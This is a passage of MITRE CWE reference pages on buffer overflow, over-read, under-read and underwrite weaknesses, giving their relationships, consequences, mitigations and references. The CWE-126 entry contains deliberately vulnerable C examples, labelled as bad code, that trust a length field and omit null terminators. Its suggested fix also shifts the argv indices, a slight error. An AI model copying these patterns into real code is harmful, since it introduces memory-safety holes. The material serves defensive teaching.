Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.722OWASP Top Ten 2004 Category A1 - Unvalidated Input
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.726OWASP Top Ten 2004 Category A5 - Buffer Overflows
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.741CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8022010 Top 25 - Risky Resource Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8652011 Top 25 - Risky Resource Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.875CERT C++ Secure Coding Section 07 - Characters and Strings (STR)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.970SFP Secondary Cluster: Faulty Buffer Access
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1129CISQ Quality Measures (2016) - Reliability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1131CISQ Quality Measures (2016) - Security
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1161SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1399Comprehensive Categorization: Memory Safety
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Frequent Misuse

Rationale:

There are some indications that this CWE ID might be misused and selected simply because it mentions "buffer overflow" - an increasingly vague term. This CWE entry is only appropriate for "Buffer Copy" operations (not buffer reads), in which where there is no "Checking [the] Size of Input", and (by implication of the copy) writing past the end of the buffer.

Comments:

If the vulnerability being analyzed involves out-of-bounds reads, then consider CWE-125 or descendants. For root cause analysis: if there is any input validation, consider children of CWE-20 such as CWE-1284. If there is a calculation error for buffer sizes, consider CWE-131 or similar.
+ Notes

Relationship

At the code level, stack-based and heap-based overflows do not differ significantly, so there usually is not a need to distinguish them. From the attacker perspective, they can be quite different, since different techniques are required to exploit them.

Terminology

Many issues that are now called "buffer overflows" are substantively different than the "classic" overflow, including entirely different bug types that rely on overflow exploit techniques, such as integer signedness errors, integer overflows, and format string bugs. This imprecise terminology can make it difficult to determine which variant is being reported.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERUnbounded Transfer ('classic overflow')
7 Pernicious KingdomsBuffer Overflow
CLASPBuffer overflow
OWASP Top Ten 2004A1CWE More SpecificUnvalidated Input
OWASP Top Ten 2004A5CWE More SpecificBuffer Overflows
CERT C Secure CodingSTR31-CExactGuarantee that storage for strings has sufficient space for character data and the null terminator
WASC7Buffer Overflow
Software Fault PatternsSFP8Faulty Buffer Access
OMG ASCSMASCSM-CWE-120
OMG ASCRMASCRM-CWE-120
+ References
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 5, "Public Enemy #1: The Buffer Overrun" Page 127. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 5: Buffer Overruns." Page 89. McGraw-Hill. 2010.
[REF-56] Microsoft. "Using the Strsafe.h Functions". <https://learn.microsoft.com/en-us/windows/win32/menurc/strsafe-ovw?redirectedfrom=MSDN>. URL validated: 2023-04-07.
[REF-57] Matt Messier and John Viega. "Safe C String Library v1.0.3". <http://www.gnu-darwin.org/www001/ports-1.5a-CURRENT/devel/safestr/work/safestr-1.0.3/doc/safestr.html>. URL validated: 2023-04-07.
[REF-58] Michael Howard. "Address Space Layout Randomization in Windows Vista". <https://learn.microsoft.com/en-us/archive/blogs/michael_howard/address-space-layout-randomization-in-windows-vista>. URL validated: 2023-04-07.
[REF-59] Arjan van de Ven. "Limiting buffer overflows with ExecShield". <https://archive.is/saAFo>. URL validated: 2023-04-07.
[REF-60] "PaX". <https://en.wikipedia.org/wiki/Executable_space_protection#PaX>. URL validated: 2023-04-07.
[REF-74] Jason Lam. "Top 25 Series - Rank 3 - Classic Buffer Overflow". SANS Software Security Institute. 2010-03-02. <http://software-security.sans.org/blog/2010/03/02/top-25-series-rank-3-classic-buffer-overflow/>.
[REF-61] Microsoft. "Understanding DEP as a mitigation technology part 1". <https://msrc.microsoft.com/blog/2009/06/understanding-dep-as-a-mitigation-technology-part-1/>. URL validated: 2023-04-07.
[REF-76] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege>. URL validated: 2023-04-07.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 3, "Nonexecutable Stack", Page 76. 1st Edition. Addison Wesley. 2006.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 5, "Protection Mechanisms", Page 189. 1st Edition. Addison Wesley. 2006.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "C String Handling", Page 388. 1st Edition. Addison Wesley. 2006.
[REF-64] Grant Murphy. "Position Independent Executables (PIE)". Red Hat. 2012-11-28. <https://www.redhat.com/en/blog/position-independent-executables-pie>. URL validated: 2023-04-07.
[REF-961] Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". ASCRM-CWE-120. 2016-01. <http://www.omg.org/spec/ASCRM/1.0/>.
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-120. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.
[REF-1332] John Richard Moser. "Prelink and address space randomization". 2006-07-05. <https://lwn.net/Articles/190139/>. URL validated: 2023-04-26.
[REF-1333] Dmitry Evtyushkin, Dmitry Ponomarev, Nael Abu-Ghazaleh. "Jump Over ASLR: Attacking Branch Predictors to Bypass ASLR". 2016. <http://www.cs.ucr.edu/~nael/pubs/micro16.pdf>. URL validated: 2023-04-26.
[REF-1334] D3FEND. "Stack Frame Canary Validation (D3-SFCV)". 2023. <https://d3fend.mitre.org/technique/d3f:StackFrameCanaryValidation/>. URL validated: 2023-04-26.
[REF-1335] D3FEND. "Segment Address Offset Randomization (D3-SAOR)". 2023. <https://d3fend.mitre.org/technique/d3f:SegmentAddressOffsetRandomization/>. URL validated: 2023-04-26.
[REF-1336] D3FEND. "Process Segment Execution Prevention (D3-PSEP)". 2023. <https://d3fend.mitre.org/technique/d3f:ProcessSegmentExecutionPrevention/>. URL validated: 2023-04-26.
[REF-1337] Alexander Sotirov and Mark Dowd. "Bypassing Browser Memory Protections: Setting back browser security by 10 years". Memory information leaks. 2008. <https://www.blackhat.com/presentations/bh-usa-08/Sotirov_Dowd/bh08-sotirov-dowd.pdf>. URL validated: 2023-04-26.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-01KDM Analytics
added/updated white box definitions
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Relationships, Observed_Example, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2008-10-10CWE Content TeamMITRE
Changed name and description to more clearly emphasize the "classic" nature of the overflow.
2008-10-14CWE Content TeamMITRE
updated Alternate_Terms, Description, Name, Other_Notes, Terminology_Notes
2008-11-24CWE Content TeamMITRE
updated Other_Notes, Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Common_Consequences, Other_Notes, Potential_Mitigations, References, Relationship_Notes, Relationships
2009-07-27CWE Content TeamMITRE
updated Other_Notes, Potential_Mitigations, Relationships
2009-10-29CWE Content TeamMITRE
updated Common_Consequences, Relationships
2010-02-16CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Detection_Factors, Potential_Mitigations, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings, Time_of_Introduction, Type
2010-04-05CWE Content TeamMITRE
updated Demonstrative_Examples, Related_Attack_Patterns
2010-06-21CWE Content TeamMITRE
updated Common_Consequences, Potential_Mitigations, References
2010-09-27CWE Content TeamMITRE
updated Potential_Mitigations
2010-12-13CWE Content TeamMITRE
updated Potential_Mitigations
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples, Description
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Relationships
2011-09-13CWE Content TeamMITRE
updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-02-18CWE Content TeamMITRE
updated Potential_Mitigations, References
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Causal_Nature, Demonstrative_Examples, Likelihood_of_Exploit, References, Relationships, Taxonomy_Mappings, White_Box_Definitions
2018-03-27CWE Content TeamMITRE
updated References
2019-01-03CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2020-06-25CWE Content TeamMITRE
updated Common_Consequences, Potential_Mitigations
2020-08-20CWE Content TeamMITRE
updated Alternate_Terms, Relationships
2020-12-10CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2021-07-20CWE Content TeamMITRE
updated Potential_Mitigations
2022-10-13CWE Content TeamMITRE
updated References
2023-01-31CWE Content TeamMITRE
updated Common_Consequences, Description
2023-04-27CWE Content TeamMITRE
updated Potential_Mitigations, References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-10-14Unbounded Transfer ('Classic Buffer Overflow')

CWE-126: Buffer Over-read

Weakness ID: 126
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product reads from a buffer using buffer access mechanisms such as indexes or pointers that reference memory locations after the targeted buffer.
+ Extended Description
This typically occurs when the pointer or its index is incremented to a position beyond the bounds of the buffer or when pointer arithmetic results in a position outside of the valid memory location to name a few. This may result in exposure of sensitive information or possibly a crash.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.125Out-of-bounds Read
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.788Access of Memory Location After End of Buffer
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.170Improper Null Termination
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Memory

Confidentiality

Technical Impact: Bypass Protection Mechanism

By reading out-of-bounds memory, an attacker might be able to get secret values, such as memory addresses, which can be bypass protection mechanisms such as ASLR in order to improve the reliability and likelihood of exploiting a separate weakness to achieve code execution instead of just denial of service.
+ Demonstrative Examples

Example 1

In the following C/C++ example the method processMessageFromSocket() will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing.

(bad code)
Example Language:
int processMessageFromSocket(int socket) {
int success;

char buffer[BUFFER_SIZE];
char message[MESSAGE_SIZE];

// get message from socket and store into buffer

//Ignoring possibliity that buffer > BUFFER_SIZE
if (getMessage(socket, buffer, BUFFER_SIZE) > 0) {

// place contents of the buffer into message structure
ExMessage *msg = recastBuffer(buffer);

// copy message body into string for processing
int index;
for (index = 0; index < msg->msgLength; index++) {
message[index] = msg->msgBody[index];
}
message[index] = '\0';

// process message
success = processMessage(message);
}
return success;
}

However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of the message body (CWE-606). This can result in a buffer over-read (CWE-125) by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).

Example 2

The following C/C++ example demonstrates a buffer over-read due to a missing NULL terminator. The main method of a pattern matching utility that looks for a specific pattern within a specific file uses the string strncopy() method to copy the command line user input file name and pattern to the Filename and Pattern character arrays respectively.

(bad code)
Example Language:
int main(int argc, char **argv)
{
char Filename[256];
char Pattern[32];

/* Validate number of parameters and ensure valid content */
...

/* copy filename parameter to variable, may cause off-by-one overflow */
strncpy(Filename, argv[1], sizeof(Filename));

/* copy pattern parameter to variable, may cause off-by-one overflow */
strncpy(Pattern, argv[2], sizeof(Pattern));

printf("Searching file: %s for the pattern: %s\n", Filename, Pattern);
Scan_File(Filename, Pattern);
}

However, the code do not take into account that strncpy() will not add a NULL terminator when the source buffer is equal in length of longer than that provide size attribute. Therefore if a user enters a filename or pattern that are the same size as (or larger than) their respective character arrays, a NULL terminator will not be added (CWE-170) which leads to the printf() read beyond the expected end of the Filename and Pattern buffers.

To fix this problem, be sure to subtract 1 from the sizeof() call to allow room for the null byte to be added.

(good code)
Example Language:
/* copy filename parameter to variable, no off-by-one overflow */
strncpy(Filename, argv[2], sizeof(Filename)-1);
Filename[255]='\0';

/* copy pattern parameter to variable, no off-by-one overflow */
strncpy(Pattern, argv[3], sizeof(Pattern)-1);
Pattern[31]='\0';
+ Observed Examples
ReferenceDescription
Text editor has out-of-bounds read past end of line while indenting C code
Chain: "Heartbleed" bug receives an inconsistent length parameter (CWE-130) enabling an out-of-bounds read (CWE-126), returning memory that could include private cryptographic keys and other sensitive data.
Chain: product does not handle when an input string is not NULL terminated, leading to buffer over-read or heap-based buffer overflow.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.970SFP Secondary Cluster: Faulty Buffer Access
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1399Comprehensive Categorization: Memory Safety
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

These problems may be resultant from missing sentinel values (CWE-463) or trusting a user-influenced input length variable.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERBuffer over-read
Software Fault PatternsSFP8Faulty Buffer Access
+ References
[REF-1034] Raoul Strackx, Yves Younan, Pieter Philippaerts, Frank Piessens, Sven Lachmund and Thomas Walter. "Breaking the memory secrecy assumption". ACM. 2009-03-31. <https://dl.acm.org/doi/10.1145/1519144.1519145>. URL validated: 2023-04-07.
[REF-1035] Fermin J. Serna. "The info leak era on software exploitation". 2012-07-25. <https://media.blackhat.com/bh-us-12/Briefings/Serna/BH_US_12_Serna_Leak_Era_Slides.pdf>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 5: Buffer Overruns." Page 89. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Taxonomy_Mappings, Weakness_Ordinalities
2009-10-29CWE Content TeamMITRE
updated Description, Relationship_Notes, Relationships
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2014-06-23CWE Content TeamMITRE
updated Observed_Examples
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Causal_Nature, Demonstrative_Examples
2018-03-27CWE Content TeamMITRE
updated Demonstrative_Examples
2019-09-19CWE Content TeamMITRE
updated Common_Consequences, References
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Demonstrative_Examples
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples

CWE-127: Buffer Under-read

Weakness ID: 127
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product reads from a buffer using buffer access mechanisms such as indexes or pointers that reference memory locations prior to the targeted buffer.
+ Extended Description
This typically occurs when the pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used. This may result in exposure of sensitive information or possibly a crash.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.125Out-of-bounds Read
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.786Access of Memory Location Before Start of Buffer
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Memory

Confidentiality

Technical Impact: Bypass Protection Mechanism

By reading out-of-bounds memory, an attacker might be able to get secret values, such as memory addresses, which can be bypass protection mechanisms such as ASLR in order to improve the reliability and likelihood of exploiting a separate weakness to achieve code execution instead of just denial of service.
+ Observed Examples
ReferenceDescription
HTML conversion package has a buffer under-read, allowing a crash
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.970SFP Secondary Cluster: Faulty Buffer Access
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1399Comprehensive Categorization: Memory Safety
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Research Gap

Under-studied.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERBuffer under-read
Software Fault PatternsSFP8Faulty Buffer Access
+ References
[REF-1034] Raoul Strackx, Yves Younan, Pieter Philippaerts, Frank Piessens, Sven Lachmund and Thomas Walter. "Breaking the memory secrecy assumption". ACM. 2009-03-31. <https://dl.acm.org/doi/10.1145/1519144.1519145>. URL validated: 2023-04-07.
[REF-1035] Fermin J. Serna. "The info leak era on software exploitation". 2012-07-25. <https://media.blackhat.com/bh-us-12/Briefings/Serna/BH_US_12_Serna_Leak_Era_Slides.pdf>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 5: Buffer Overruns." Page 89. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Taxonomy_Mappings, Weakness_Ordinalities
2009-10-29CWE Content TeamMITRE
updated Description, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Causal_Nature
2019-09-19CWE Content TeamMITRE
updated Common_Consequences, References
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples

CWE-124: Buffer Underwrite ('Buffer Underflow')

Weakness ID: 124
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product writes to a buffer using an index or pointer that references a memory location prior to the beginning of the buffer.
+ Extended Description
This typically occurs when a pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used.
+ Alternate Terms
buffer underrun:
Some prominent vendors and researchers use the term "buffer underrun". "Buffer underflow" is more commonly used, although both terms are also sometimes used to describe a buffer under-read (CWE-127).
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.787Out-of-bounds Write
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.786Access of Memory Location Before Start of Buffer
CanFollowBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.839Numeric Range Comparison Without Minimum Check
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1218Memory Buffer Errors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Availability

Technical Impact: Modify Memory; DoS: Crash, Exit, or Restart

Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash.
Integrity
Confidentiality
Availability
Access Control
Other

Technical Impact: Execute Unauthorized Code or Commands; Modify Memory; Bypass Protection Mechanism; Other

If the corrupted memory can be effectively controlled, it may be possible to execute arbitrary code. If the corrupted memory is data rather than instructions, the system will continue to function with improper changes, possibly in violation of an implicit or explicit policy. The consequences would only be limited by how the affected data is used, such as an adjacent memory location that is used to specify whether the user has special privileges.
Access Control
Other

Technical Impact: Bypass Protection Mechanism; Other

When the consequence is arbitrary code execution, this can often be used to subvert any other security service.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

In the following C/C++ example, a utility function is used to trim trailing whitespace from a character string. The function copies the input string to a local character string and uses a while statement to remove the trailing whitespace by moving backward through the string and overwriting whitespace with a NUL character.

(bad code)
Example Language:
